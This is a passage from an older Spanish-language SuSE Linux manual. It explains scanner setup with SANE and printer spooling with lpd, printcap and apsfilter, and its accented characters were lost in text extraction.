positivo (ingl. Scanner Device File). Los escneres se acceden bajo Linux
como Generic SCSI Devices, o sea, a travs de los ficheros de dispositivo
/dev/sg0 hasta /dev/sg<XX>.
Lo ms sencillo para determinar el dispositivo correcto es usar la herramienta
sgcheck (paquete scsiinfo). Despus de su instalacin inicie sgcheck con
el siguiente comando:
tierra: # sgcheck
El resultado debera mostrar algo como lo siguiente:

Assignment of generic SCSI devices,


device host/channel/ID/LUN type(numeric type) vendor model:

/dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N


/dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X
/dev/sg2 0/0/5/0 Processor(3) HP C2500A

En este caso, /dev/sg2 es el fichero de dispositivo que permite acceder al


escner.
Se debe generar ahora un enlace de este fichero a /dev/scanner (YaST
puede realizar tambin este paso; ver apartado 3.7.1, Pgina 90):
tierra: # ln -s /dev/sg2 /dev/scanner
Despus se deben definir los derechos de acceso para el dispositivo genrico
SCSI. SANE espera tambin tener derechos de escritura:
tierra: # chmod 777 /dev/sg2
Otra posibilidad es la de crear un grupo nuevo llamado p. ej. `scanner' e
incorporar en l solo los usuarios que tengan derecho a usar el escner; esto
se puede realizar con YaST (ver apartado 3.7.8, Pgina 101). Debera ser
posible acceder al escner con el siguiente comando:
tierra: # chown root.scanner /dev/sg2

Software
Se debe instalar el paquete sane8 teniendo en cuenta de leer los ficheros
README del directorio /usr/doc/packages/sane! Aparecer un programa
8 ver ftp://ftp.mostang.com/pub/sane/.

283
11. Linux y el hardware adicional

llamado xscanimage, que al ser ejecutado, debera reconocer el escner si se


trata de un modelo soportado.
El paquete grfico the GIMP (paquete gra, serie gimp) se ha diseado
de tal forma que SANE lo reconozca como plug-in de hecho se realiz
con la misma biblioteca. Para que esto funcione, se debe generar un enlace
despus de la instalacin de GIMP. El directorio ~/.gimp ya debe existir,
pues de hecho se genera automticamente con el comando gimp al iniciar el
programa por primera vez; el mencionado enlace se define con:
tux@tierra: > cd ~/.gimp/plug-ins
tux@tierra:~/.gimp/plug-ins > ln -s /usr/X11R6/bin/xscanimage xscanimage
De este modo la herramienta SANE lo encuentra automticamente y aparece
como opcin en el men `Xtns' de the GIMP. Si se usa de esta forma, al
escanear una imagen sta se carga directamente en GIMP y por lo tanto en
este momento se puede retocar.

Problemas
Si el programa no encuentra el escner, se debe comprobar si la controladora
SCSI lo encuentra usando el siguiente comando:
tierra: # cat /proc/scsi/scsi

A continuacin se deberan ver unas lneas como las siguientes:


Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
Vendor: SEAGATE Model: ST32550N Rev: 0016
Type: Direct-Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 01 Lun: 00
Vendor: PIONEER Model: CD-ROM DR-U10X Rev: 1.07
Type: CD-ROM ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 02 Lun: 00
Vendor: QUANTUM Model: FIREBALL_TM3200S Rev: 300N
Type: Direct-Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
Vendor: SCANNER Model: Rev: 2.00
Type: Scanner ANSI SCSI revision: 01 CCS
Si no se obtiene ningn resultado, es porque la controladora SCSI no ha sido
reconocida.
Por otra parte, si el escner se encuentra en la lista de dispositivos reconocidos
y xscanimage no lo reconoce, es posible que:
 el escner an no est soportado o que,
 sea preciso pasar determinados parmetros a xscanimage
Los ficheros README que acompaan al paquete SANE cubren ambos casos.
Bsicamente casi todos los escneres de HP (los modelos SCSI) estn sopor-
tados y los de Mustek tambin deberan funcionar cuando estn conectados
a controladoras SCSI verdaderas (las controladoras suministradas muchas
veces no funcionan). La mayora de los ltimos escneres de Umax funcionan
bien pero el soporte para los ms antiguos est todava en fase de desarrollo.
Escneres de puerto paralelo y con interfaz USB an no se pueden usar.

284
Captulo 12
Impresoras
Probablemente ya habr pasado por la primera configuracin de una impreso-
ra bajo Linux durante la instalacin del sistema con YaST (ver apartado 3.7.1,
Pgina 91). El presente captulo muestra lo ms importante de lo que pasa
detrs del proceso y no especifica cada detalle pero s lo suficiente como
para entender el esquema de los procesos que se llevan a cabo durante la
impresin.

12.1 Sinopsis: Interfaces, colas (spooling)


Los puertos paralelos
Para conectar una impresora a una mquina Linux, se utiliza generalmente el
puerto paralelo.

El Kernel actual 2.2.xx


Desde el kernel 2.2.xx existe el subsistema parport, que necesita drivers
especficos para reconocer los dispositivos conectados (ver el apartado 11.4,
Pgina 278). De esta forma es posible utilizar simultaneamente varios dis-
positivos conectados en cadena al puerto paralelo. La enumeracin de los
ficheros de dispositivo para la impresora comienza ahora con /dev/lp0!
Para poder imprimir a travs del primer puerto paralelo con el kernel 2.2.xx
en la forma estndar de SuSE, es preciso cargar los mdulos parport,
parport_pc y lp. El kmod (ingl. Kernel Module Loader) los carga (por lo
general) automticamente cuando se lanza una tarea de impresin (ver aparta-
do 13.2, Pgina 311). Si los mdulos no encuentran el puerto paralelo, se les
puede ayudar pasando parmetros al kernel; ver Pgina 348.
Para probar la interfaz y la impresora se puede usar un comando como:
tierra: # echo hello > /dev/lp0
o
tierra: # cat Fichero_Texto > /dev/lp0
Estos comandos envan datos directamente a la interfaz; solo se pueden usar
como `root' (Administrador de sistema. En un sistema multitarea este
procedimiento resulta intil ya que habra que contar con solicitudes de im-
presin en cualquier momento y desde varios procesos al mismo tiempo, lo
que provocara un caos en la impresora. En lugar de esto, las solicitudes se
llevan a cabo a travs de una cola de impresin (ingl. printing queue).

285
12. Impresoras

El kernel antiguo, versin 2.0.xx


Para seguir usando por la razn que sea el kernel probado de la ver-
sin 2.0.xx, orintese con las siguientes indicaciones.
Los parmetros estndar de los puertos son en el caso del kernel 2.0.xx:
File major minor DOS-name IRQ Ports
/dev/lp1 6 1 LPT1 (7) 0x3780x37a
/dev/lp2 6 2 LPT2 (5) 0x2780x27a
/dev/lp0 6 0 LPT3 (5) 0x3bc0x3be
El fichero de dispositivo es normalmente /dev/lp1 para el kernel 2.0.xx.
Los puertos trabajan por defecto en modo Polling (la CPU tiene que con-
sultarlos peridicamente para saber si hace falta transferir datos). El supe-
rusuario (`root') puede cambiar la modalidad de trabajo a la de "interrup-
cionessando el programa tunelp y hacer otros ajustes adicionales para con-
seguir ms velocidad (ver la Manpage de tunelp (man tunelp)). Antes de
comenzar, se deben comprobar los parmetros de los puertos (interrupcin
"IRQ"y la direccin de memoria) de las interfaces (generalmente se hace por
medio de la BIOS o por jumpers). La tabla muestra los valores ms usuales.
Evidentemente solo se pueden usar los dispositivos que representan una in-
terfaz fsica.

12.1.1 Spooling, colas de impresin


En Linux tal como en otros sistemas operativos multitarea, se accede a las im-
presoras a travs de un mecanismo de spooling (cola de impresin). Esto
significa que las solicitudes de impresin se almacenan temporalmente en un
fichero y despus se procesan una tras otra, bajo el control de un programa su-
pervisor (daemon). De este modo, varios usuarios pueden pedir simultnea-
mente la impresin de documentos sin provocar conflictos. Despus de haber
solicitado la impresin, el usuario puede continuar trabajando sin necesidad
de esperar.
La cola de impresin est formada por:
 una entrada en /etc/printcap, que define la cola
 un directorio normalmente /var/spool/lpd para albergar un fichero
de datos y otro de control para cada tarea de impresin.
A cada cola de impresin le pertenece una sola impresora, no obstante,
pueden existir varias colas para la misma impresora.
SuSE Linux trae el sistema BSD-Spooling de la University of California at
Berkeley en el paquete lprold. En principio est diseado para el uso va
red, por lo tanto, se supone que TCP/IP est configurado y que funciona. En
cuanto a la configuracin, la diferencia entre una cola de impresin local o
una remota es mnima.
Una tarea de impresin se procesa bajo Linux en tres pasos:
 El fichero de datos se copia al directorio de una cola de impresin y se
completa all con un fichero nuevo de control para formar una tarea de
impresin completa.

286
12.2. Colas de impresin: Funcionamiento y configuracin

 El fichero de datos pasa, segn las instrucciones del fichero de control,


por un filtro que genera un serie de instrucciones para la impresora en
cuestin; o sea, el filtro genera un flujo de datos en el formato especfico
de la impresora, p. ej. PostScript, PCL, Esc/P2 etc. Esta conversin puede
tener varios pasos y bajo SuSE Linux se encarga de ello el apsfilter
(paquete aps). Ver tambin apartado 12.3, Pgina 291.
 El fichero especfico se imprime segn el orden actual en la cola de im-
presin.

12.2 Colas de impresin: Funcionamiento y configuracin


Para comprender mejor el funcionamiento de la cola de impresin, se re-
comienda examinar las estaciones por las que pasa una solicitud de impre-
sin, desde el fichero del usuario hacia la impresora y cules programas se
ocupan de ello.
Muchos detalles que no se contemplan aqu por falta de espacio, se encuen-
tran en la Manpage de lpr (man 1 lpr), en la Manpage de lpd (man 8 lpd)
y en la Manpage de printcap (man 5 printcap).

lpr: Quin es el ltimo?

El programa lpr representa la interfaz de usuario hacia las colas de impre-


sin existentes. Generalmente se solicita una tarea con un sencillo comando
como el siguiente:
tux@tierra: > lpr [-Pcola_impresin] fichero_texto
Dejando la opcin -P (Printer) para el nombre de la cola de impresin,
se usa como valor predeterminado el contenido de la variable de entorno
$PRINTER. Si sta se encuentra vaca, se usa el nombre tradicional lp. Lo
mismo es vlido para lpq y lprm.

No debe aparecer ningn espacio entre la opcin -P y el nombre de la


impresora cola_impresin.

lpr comprueba mediante el fichero /etc/printcap, si existe la cola de im-


presin indicada. En caso afirmativo, crea el fichero de control de la tarea
(fichero-cf) y una copia del fichero de datos. Posteriormente pasa los dos
ficheros al gestor de impresin lpd, que coloca la tarea en el directorio
(spool) de la cola de impresin.
Cuando la tarea de impresin es muy grande, resulta bastante prctico generar
en el directorio spool un enlace simblico hacia el fichero de datos, en lugar
de copiarlo. Esto se consigue con la opcin -s de lpr. Evidentemente, no se
debe modificar el fichero antes de la finalizacin de la tarea de impresin.
lpr permite seleccionar a mano un filtro de impresin (driver de impresora)
especial para una tarea. Es una opcin que se necesita raras veces y se explica
en la Manpage de lpr y en el apartado 12.3 sobre filtros.

287
12. Impresoras

Utilidades para el usuario: Sinopsis


Para administrar colas de impresin existe una bonita herramienta grfica en
el paquete xlpq, serie xap. Sin embargo, las herramientas de la lnea de
comandos que se presentan a continuacin, son ms potentes ya que tienen
ms opciones.
 lpq muestra las propias tareas en la cola de impresin (usando la opcin
-P); el comando que viene a continuacin da como resultado el Mensaje
en pantalla 12.2.1, Pgina 288:
tux@tierra: > lpq -Pcola_impresin

cola_impresin is ready and printing


Rank Owner Job Files Total Size
active tux 676 Hallo.txt 259420 bytes
1st tux 677 brief.dvi 11578 bytes
2nd tux 683 bild.gif 37464 bytes

Mensaje en pantalla 12.2.1: Resultado ejemplar del comando lpq.

 lprm borra las tareas propias de la cola de impresin; el comando que


viene a continuacin da como resultado el Mensaje en pantalla 12.2.2,
Pgina 288:
tux@tierra: > lprm -Pcola_impresin 676

dfA676Aa05005 dequeued
cfA676Aa05005 dequeued

Mensaje en pantalla 12.2.2: Resultado ejemplar del comando lprm.

Sin indicacin explcita de un nmero de tarea activa, sta se borra de la


cola si la tarea pertenece al usuario.
 lpc (con rama completa: /usr/sbin/lpc) control de las colas de impre-
sin. Las opciones ms importantes figuran a continuacin (como nombre
de la cola de impresin se puede indicar tambin all = todos):
status cola_impresin Informa sobre el estado de la cola. Si
falta la indicacin cola_impresin, es como haber indicado all, o
sea, se informa sobre el estado de todas las colas.
disable cola_impresin Se dejan de aceptar nuevas tareas en la
cola de impresin.
enable cola_impresin Activa la cola de impresin para aceptar
nuevas tareas.
stop cola_impresin Detiene la impresin de las tareas de en
cola; la tarea que se est imprimiendo termina.
start cola_impresin Reanuda la impresin de las tareas en la
cola.

288
12.2. Colas de impresin: Funcionamiento y configuracin

down cola_impresin Tiene el mismo efecto que disable ms


stop .
up cola_impresin Tiene el mismo efecto que enable ms start
.
abort cola_impresin Acta como down, con la diferencia de
que detiene inmediatamente una tarea que se est imprimiendo. Las
tareas se mantienen y es posible reanudarlas despus del reinicio de la
cola (up).
Se pueden pasar estos comandos directamente desde la lnea de comandos
a lpc (p. ej. lpc status) o llamar a lpc sin parmetro. En el ltimo caso
se abre un cuadro de dilogo con su propio prompt lpc>, esperando la
introduccin de comandos de lpc. Con quit o exit se sale de esta
ventana.

Para manipular las colas de impresin se necesitan derechos de supe-


rusuario `root'.

lpd: el gestor de impresin en segundo plano


El lpd (ingl. Line Printer Daemon) se activa durante el arranque del sistema
mediante el script /sbin/init.d/lpd si el fichero /etc/rc.config con-
tiene la lnea START_LPD=yes. lpd se ejecuta como daemon en segundo
plano.
Cuando lpd se inicia, averigua mediante el fichero /etc/printcap las colas
de impresin definidas. Su trabajo es organizar la impresin de las tareas en
la cola; trabajo que se desglosa en:

 organizacin de las colas locales: lpd hace pasar el fichero de datos por el
filtro adecuado (definido por la entrada de la cola en /etc/printcap, tal
como por indicaciones explcitas en el fichero de control de la tarea) y lo
enva despus al puerto de la impresora;
 consideracin del orden de las tareas en la cola de impresin;
 supervisin del estado de las colas y de la impresora (fichero status en
los directorios spool locales) e informacin sobre los estados en caso
de solicitud;
 traspaso de solicitudes de impresin a colas remotas al lpd local de la
mquina remota;
 recogida de solicitudes de impresin dirigidas a colas locales y proce-
dentes de mquinas remotas o rechazo de las mismas en caso de no ser
autorizadas.

Autorizacin: Solo se aceptan solicitudes de mquinas remotas si stas se


mencionan en el fichero /etc/hosts.lpd del servidor de impresin (ingl.
printserver). Tambin es suficiente con mencionar la mquina remota en
/etc/hosts.equiv pero esto presenta muchos inconvenientes respecto a
los derechos de acceso desde la mquina remota a la local. Por razones de
seguridad es mejor evitarlo (ver el apartado 18.2.2, Pgina 408).

289
12. Impresoras

Si se aaden parmetros a la definicin de la cola, estos pueden causar re-


stricciones adicionales a los usuarios de un determinado grupo o a usuarios
con cuenta en la mquina local.

Filtros: los trabajadores infatigables


Los filtros de impresin se encargan de convertir el fichero de datos de una
tarea al formato especfico de la impresora (en cuanto a su configuracin ver
el apartado 12.3). Con ello, los filtros son los que tienen la mayor carga de tra-
bajo en todo el proceso de impresin. Su funcin equivale a la de los drivers
de impresin en otros sistemas operativos como Windows u OS/2. Aparte
de esto, liquidan a peticin del usuario la tarea de impresin, calculando los
recursos gastados, el tamao total : : :

/etc/printcap: Configuracin de las colas


Cada cola de impresin disponible se define en el fichero /etc/printcap
con una entrada y sta se finaliza con el smbolo Newline (cambio de
lnea/retorno de carro), sin embargo, cuando la entrada es muy larga, ste
se puede reemplazar con el smbolo de la barra inversa `\' inmediatamente
por delante del cambio de lnea. La entrada comienza con uno o varios nom-
bres para la cola de impresin, separados por el smbolo `|' y a continuacin
viene una lista de especificaciones con el formato1 abreviatura=<valor>,
con el smbolo de separacin `:'. Las lnea vacas y las que comienzan con
# (comentarios) se ignoran.
El fichero /etc/printcap contiene una serie de entradas a modo de ejem-
plo; como se puede observar, en el Fichero 12.2.1, Pgina 290 aparece una
entrada muy simple sin ningn filtro.

ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240

Fichero 12.2.1: /etc/printcap: Cola de impresin local sencilla

Se puede acceder a esta cola de impresin con los nombres ascii y deskjet.
El directorio spool de la cola est en /var/spool/lpd/ascii y su impre-
sora es /dev/lp0. No imprime portadas al comienzo de cada tarea de im-
presin (sh suppress header suprimir encabezado) y acepta tareas hasta
10240 KB. El Fichero 12.2.2, Pgina 291 muestra el ejemplo de una cola de
impresin en una computadora remota. Respecto a esta configuracin ver el
apartado 12.4, Pgina 2972 .
La cola de impresin tiene los nombres lp1 y HP-4P. En lugar de indicarse
el dispositivo lp=, ahora se hace referencia al host sol.cosmos.univ y su
cola de impresin HP. No hace falta especificar filtros ya que la cola en
1
Todas las abreviaturas con su significado y valor predeterminado se detallan en la Manpage de
printcap (man printcap).
2 Las barras inversas (\) al final de la lnea esconden el retorno de carro tal como en la

introduccin de comandos de la shell as que la entrada cuenta como una sola lnea.

290
12.3. Filtros de impresin el apsfilter

lp1|HP-4P:\
:rm=sol.cosmos.univ:\
:rp=HP:\
:sd=/var/spool/lpd/lp1:\
:mx#0:sh

Fichero 12.2.2: /etc/printcap: Cola de impresin remota sencilla

sol.cosmos.univ se encarga de ello. Por lo tanto, solo queda indicar el


fichero de spool /var/spool/lpd/lp1 y la restriccin de tamao de las
tareas (mx#0 significa que no existe ninguna restriccin).
Si se usa apsfilter para la configuracin, las colas de impresin necesarias se
apuntan automticamente en /etc/printcap; en el apartado siguiente hay
ms informacin al respecto.

12.3 Filtros de impresin


Qu son los filtros de impresin y cmo trabajan?
Como ya se ha indicado, el trabajo de un filtro de impresin es convertir
el fichero de datos de una tarea de impresin al formato especfico de la
impresora que corresponda.
Cuando lpd llama al filtro, ste recibe como informacin adicional el tamao
de papel, el nombre del usuario y del host desde donde viene la tarea y el
nombre del fichero para la liquidacin. Como se trata de un programa de
Unix, el filtro recibe el fichero de datos a travs de la entrada normalizada
(ingl. standard input) y pasa el resultado a la salida normalizada (ingl.
standard output).
El filtro debe conocer el formato de los datos de entrada (texto-ASCII, DVI,
PostScript, etc.). Para conocerlo existen dos posibilidades:
 El filtro es suficientemente inteligente como para reconocer el formato
del fichero a base de la estructura de los datos. En este caso, el filtro esta
compuesto por un pre-filtro para el reconocimiento de datos y varios
programas ms que se encargan realmente del trabajo de conversin.
As funciona a grandes rasgos el programa apsfilter que se instala por
defecto con SuSE Linux.
 Se definen diferentes filtros para diferentes formatos de fichero. La
asignacin de los filtros se efecta a travs de unas entradas en /etc/
printcap de la cola de impresin y el usuario selecciona los filtros pos-
teriormente por medio de una opcin adicional cuando se llama a lpr.
Hay ocho posibilidades previstas:
printcap Entrada if= cf= df= gf= nf= rf= tf= vf=
lpr Opcin -c -d -g -n -f -t -v
3
Estas opciones se asignan por costumbre a unos formatos especiales,
pero lo realmente necesario es la asignacin de la opcin lpr con la entra-
3 Ver la Manpage de lpr.

291
12. Impresoras

da en /etc/printcap 4 .) Para poner un ejemplo, if= denomina el filtro


estndar y df= el filtro para ficheros del tipo DVI (el producto de TEXy
LATEX). As se podra definir un filtro DVI propio para el LaserJet 4, us-
ando la entrada que figura en el Fichero 12.3.1, Pgina 292. Se debe tener
el paquete te_dvilj instalado, pero hoy por hoy es ms recomendable
valerse del correspondiente driver de Ghostscript, que sera el ljet4.

df="/usr/bin/dvilj4 -e- -"

Fichero 12.3.1: Definicin de un filtro DVI en /etc/printcap

apsfilter
El paquete aps ofrece con el apsfilter un filtro muy confortable. apsfilter
aprovecha las siguientes circunstancias:
 El formato del fichero de impresin estndar en el mundo de Unix es
PostScript.
 Existe una serie de herramientas que convierten otros formatos de texto
y de imgenes en PostScript, p. ej. dvips para ficheros DVI, a2ps para
ficheros ASCII y el paquete netpbm, serie gra para grficos, etc.
 Existe tambin el potente programa Ghostscript, capaz de convertir
ficheros de PostScript en una multitud de formatos especiales para im-
presoras que no son PostScript (en cierta manera es como una coleccin
amplia de drivers de impresora).
apsfilter reune todos estos programas junto con las herramientas necesarias
para el reconocimiento del formato (file) y la descompresin. Segn el forma-
to que apsfilter reconoce, pasa los datos de entrada por todas las herramientas
necesarias hasta conseguir el flujo de datos correcto, que resulta en la impre-
sin correcta.
El script principal /var/lib/apsfilter/apsfilter indica los siguientes
formatos de fichero y tipos de compresin soportados:
 ASCII, DVI, PS, Data (PCL, : : : ), GIF, TIFF, PBM, Sun Raster, X11-
Bitmap
 Tipos de compresin: compress, gzip, freeze

Las colas de impresin de apsfilter


El programa apsfilter ofrece las siguientes colas de impresin para una com-
putadora local:
lp Cola estndar para todos los formatos de fichero.
lp-mono Se genera para las impresoras de color en concepto de imprimir
en blanco y negro; procesa todos los formatos de ficheros igual a lp.
ascii Para imprimir ficheros como texto ASCII, aunque el sistema de
spooling reconozca otro formato5.
4 p. ej. una entrada cero al filtro cf=/bin/cat es permitida y si se da el comando lpr -c ,

se ejecuta fiel a la definicin.


5 p. ej. cuando existen diresis en el texto.

292
12.3. Filtros de impresin el apsfilter

raw Para imprimir ficheros que ya tienen el formato especfico de la im-


presora: no habr ninguna conversin.

Es posible definir impresoras locales adicionales. Los nombres de las colas ll-
evaran entonces el nombre del correspondiente driver de Ghostscript como
distintivo; con el driver djet500 sera djet500-ascii, djet500-raw,
etc.
Ficheros- ASCII: En el fichero /etc/apsfilterrc est previsto realizar el
filtrado del siguiente modo:
 convertir ficheros-ASCII con a2ps a PostScript;
 Formato de a2ps: Imprimir el contenido de 2 pginas en ASCII a una sola
pgina apaisada.
Si se modifica la variable $FEATURE es posible variar el formato de impre-
sin. Los valores que figuran en los comentarios de /etc/apsfilterrc son
vlidos. Para suprimir por completo la conversin a PostScript e imprimir
directamente en el modo ASCII de la impresora, se debe quitar el smbolo de
comentario # al comienzo del comando USE_RECODE_NOT_A2PS=yes y por
su puesto, tener el paquete recode, serie ap instalado.

apsfilter: Configuracin

Se puede configurar el apsfilter con YaST o con el script SETUP a base de


mens.

La configuracin solo trabaja correctamente cuando no se modifican las


indicaciones dadas como comentario al comienzo y al final de las entradas
para el apsfilter en el fichero /etc/printcap (ver Fichero 12.3.2, Pgi-
na 294).

Configuracin con YaST

Configurar la impresora con YaST representa la va normal para la primera


instalacin. Si ya hay una configuracin del apsfilter, YaST pregunta al
comienzo si la configuracin nueva debe reemplazar a la antigua o si se
debe aadir. El proceso que se lleva a cabo despus ya fue explicado en
el apartado 3.7.1, Pgina 91.
Cuando se instala la nueva configuracin, se llevan a cabo los siguientes pasos
(da igual si se ha usado YaST o SETUP para realizarla):

 Definicin de la nuevas colas de impresin en /etc/printcap (ver Pgi-


na 292).
 Generacin de los directorios spool para las colas en /var/spool/
lpd/.
 Generacin de los filtros correspondientes en /var/lib/apsfilter/
bin/ (se generan enlaces simblicos al fichero /var/lib/apsfilter/
apsfilter).

293
12. Impresoras

 Generacin del fichero global de configuracin /etc/apsfilterrc (si


este an no existe) y de un fichero de configuracin especfico de la im-
presora
/etc/apsfilterrc.<gs_mode>. La variable <gs_mode> representa
el nombre de impresora en Ghostscript, p. ej. bjc800 como en el ejemplo
dado.

El Fichero 12.3.2, Pgina 294, muestra un ejemplo para las nuevas entradas
de una cola de impresin para la Canon BubbleJet 800.

### BEGIN apsfilter: ### bjc800 a4 mono 360 ###


# Warning: Configured for apsfilter, do not edit the labels!
# apsfilter setup Thu Sep 18 11:40:40 MEST 1997
#
ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\
:lp=/dev/lp0:\
:sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\
:lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\
:af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\
:if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\
:la@:mx#0:\
:sh:sf:
#
lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\
# [ ... abreviado ... ]
#
raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\
# [ ... abreviado ... ]
#
#
### END apsfilter: ### bjc800 a4 mono 360 ###

Fichero 12.3.2: Colas de apsfilter en /etc/printcap

El contenido de las tres entradas es completamente igual, por lo cual se han


abreviado un poco. Definen el dispositivo (lp=), el directorio spool (sd=),
el fichero de registro (ingl. Log-file) (lf=), el fichero de liquidacin (af=) y
el filtro estndar (if=). Se suprime la portada al principio (sh) y la pgina
separadora (sf) (ingl. formfeed) al final de la tarea.

Configuracin con SETUP


El paquete aps contiene el programa de configuracin /var/lib/apsfilter/SETUP,
que ofrece los siguientes servicios:

 Listado de todas las impresoras configuradas con apsfilter


 Aadir y quitar impresoras configuradas con apsfilter

A la hora de aadir impresoras locales SETUP, hace (casi) lo mismo que


YaST. SETUP es tambin capaz de generar y borrar colas de impresin en

294
12.3. Filtros de impresin el apsfilter

mquinas remotas (cola de impresin remota, ver el Fichero 12.2.2, Pgi-


na 291) y puede efectuar un pre-filtrado para impresoras de red.
SETUP funciona a base de mens y su uso es despus de haberse acostum-
brado cmodo y fcil.
1. Ejecutar SETUP:
tierra: # /var/lib/apsfilter/SETUP

Si se trabaja con el Sistema X Window en una xterm y se tiene problemas


para reconocer las letras (p. ej. por tener amarillo sobre gris claro), se
puede iniciar SETUP en una consola de texto. Aparecer una pantalla de
 pasamos al men principal:
bienvenida que explica el proceso de la definicin de impresoras nuevas
con apsfilter. Con  - 
EXIT Exit apsfilter setup
LISTING List all apsfilter entries
ENTRY Add/Overwrite/Delete an apsfilter entry
DELETE Fast delete an apsfilter entry
Para seleccionar uno de los campos con las respuestas `OK' o `Cancel'
   ); para pasar por las opciones en las listas se
se usa la tecla Tab (= Tab 
 
usa # 
 
y " 
.
`EXIT' Terminar SETUP.
`LISTING' Listado de todas las colas existentes.
`ENTRY' Una impresora nueva se aade con la opcin de men
`ENTRY'. Esta conduce al sub-men `Choose your printer de-
finition' para la definicin de la impresora.
`DELETE' Para borrar una impresora del apsfilter se pulsa `DELETE'
y de este modo se obtiene una lista con todas las impresoras apsfilter
disponibles.
2. Seleccionar `ENTRY'; aparecern las mismas preguntas que en la con-
figuracin con YaST. La primera es sobre el `DEVICE' (interfaz) ; para
una impresora local en el puerto paralelo se responde a esta pregunta con
/dev/lp0, si es que trabaja con un kernel 2.2.xx.
3. A continuacin aparece lo siguiente:
RETURN Back to previous menu
DEVICE Change printer interface
PRINTER Which printer driver
PAPER Which paper type
COLOR Monochrome/colorfull
SPECIAL Settings for your printer
RESET Reset the printer definition
ADD Add the printer definition
OVERWRITE Overwrite the printer definition
DELETE Delete the printer definition
`DEVICE' Esta opcin ya ha sido mencionada.
`PRINTER' Aqu se selecciona la denominacin correcta de Ghostscript,
lo cual se realiza en dos pasos:

295
12. Impresoras

(a) Primero se selecciona el tipo de impresora entre:


 `PostScript'
 `HEWLETT-PACKARD' (HP Deskjets)
 `OTHER' (otros, sin capacidad de PostScript)
 `FREEDEF' (definicin libre)
(b) Para el caso de impresoras que son realmente PostScript solo hace
falta indicar la resolucin en un cuadro de dilogo. En los dems ca-
sos, aparecer bajo la opcin `COMMIT', la lista de todos los drivers
posibles de Ghostscript. Antes de decidirse por un driver determi-
nado, se puede consultar el apartado 12.6, Pgina 300. Despus de
esta seleccin vendr la pregunta sobre la resolucin de la impreso-
ra. Con `RETURN' se puede volver al nivel superior del men.
`PAPER' El formato de papel.
`COLOR' Impresin en color o blanco y negro.
`SPECIAL' Estas indicaciones generalmente no se necesitan.
4. Se encuentra otra vez en el men `Choose your printer defini-
tion'. En caso de haberse equivocado con alguna definicin se puede
volver a los distintos sub-mens y corregirlo.
5. Importante: Pulsando `ADD' la definicin de la impresora finalmente se
activa.

Se puede usar less6 para mirar en el fichero /etc/printcap el nombre de


la nueva cola de impresin. Cada cola de impresin tiene varios nombres: hay
algunos explcitos que permiten reconocer la definicin de impresora y otros
cortos por razones de comodidad (ver Fichero 12.3.2, Pgina 294). Aparte de
esto lp, lp-mono, ascii y raw son las colas de la primera impresora local.

Los ficheros de configuracin apsfilterrc


Los ficheros /etc/apsfilterrc* ofrecen la posibilidad de controlar con
ms exactitud determinados detalles del trabajo de los scripts del apsfilter,
usando variables de la shell. Durante la instalacin se generan por defecto los
siguientes:
 un fichero global /etc/apsfilterrc,
 ficheros especficos de impresora /etc/apsfilterrc.<gs_mode> en
las que <gs_mode> indica el nombre del driver de Ghostscript (p. ej.
para el Canon BubbleJet 800: /etc/apsfilterrc.bjc800).

Los ficheros instalados por defecto incluyen entradas de ejemplo para to-
das las variables. El fichero global /etc/apsfilterrc contiene explica-
ciones concretas sobre todas las variables; se recomienda mirarlo ;-)

Las variables contenidas en los ficheros de impresoras son las mismas que
las del fichero global /etc/apsfilterrc, y para facilitar su identificacin
estn enumeradas (actualmente de 0 a 12).
6 El uso de less se explica en el apartado 19.7.3, Pgina 418.

296
12.4. Impresoras de red con apsfilter

Para cada tarea de impresin, apsfilter lee primero el fichero de configuracin


global y despus el especfico de la impresora, por lo que las definiciones del
ltimo fichero son las decisivas. De este modo, existe la posibilidad de hac-
er definiciones estndar en /etc/apsfilterrc (p. ej. para la resolucin de
impresin) y reemplazarlas con valores especiales para determinadas impre-
soras. Las modificaciones en los ficheros apsfilterrc se activan de inmedi-
ato.
No se quiere reflejar aqu todo el fichero /etc/apsfilterrc, pero se pre-
sentan las variables de uso ms frecuente:
 FEATURE y USE_RECODE_NOT_A2PS determinan cmo filtrar ficheros
ASCII (ya se explic en la Pgina 292).
 REMOTE_PRINTER se necesita para pre-filtrar las tareas de impresin en
la red. Si la variable est en true, las tareas de la cola local se pasan a la
cola especial remote despus de haber pasado por el filtro. Si se anota un
valor diferente a true, ste se interpreta como el nombre de la impresora
remota (ver apartado 12.4).
 PRINT_RAW_SETUP_PRINTER est pensado para una secuencia con Es-
cape para la inicializacin de la impresora en la cola raw. El contenido
de la secuencia se manda a la impresora antes de cualquier tarea de im-
presin del tipo raw. /etc/apsfilterrc contiene un ejemplo y expli-
caciones sobre la sintaxis.
 GS_RESOL permite usar el filtro Ghostscript con una resolucin diferente
a la inicialmente prevista para la impresora.
 DO_ACCOUNTING debe tener el valor yes para que se genere un fichero de
accounting. A su vez, el fichero /etc/printcap debe tener la entrada
:la@: en lugar de :la: (as se genera correctamente el fichero indicado
bajo af (ingl. accounting file)). Para utilizar esta caracterstica se debe
emplear plp, as que se debe cambiar el paquete lrpold por el paquete
plpn.
Configuracin personalizada: La versin de apsfilter de SuSE Linux acepta
tambin un fichero ~/.apsfilterrc personal en el directorio de usuario.
Este es analizado despus de los ficheros globales apsfilterrc y por lo
tanto se pueden suprimir los ajustes globales. Por razones de seguridad el
fichero se evala con los derechos del daemon de impresin que est en ejecu-
cin solo se tienen en cuenta aquellas instrucciones que implican un cambio
de valor a las siguientes variables: TEXINPUTS, PRINT_DVI, GS_FEATURES,
USE_RECODE_NOT_A2PS, FEATURE, A2PS_OPTS, DVIPS_MODE, GS_RESOL7 .
Las dems instrucciones se ignoran.
Si realmente se necesita un fichero de configuracin personal $HOME/.apsfilterrc,
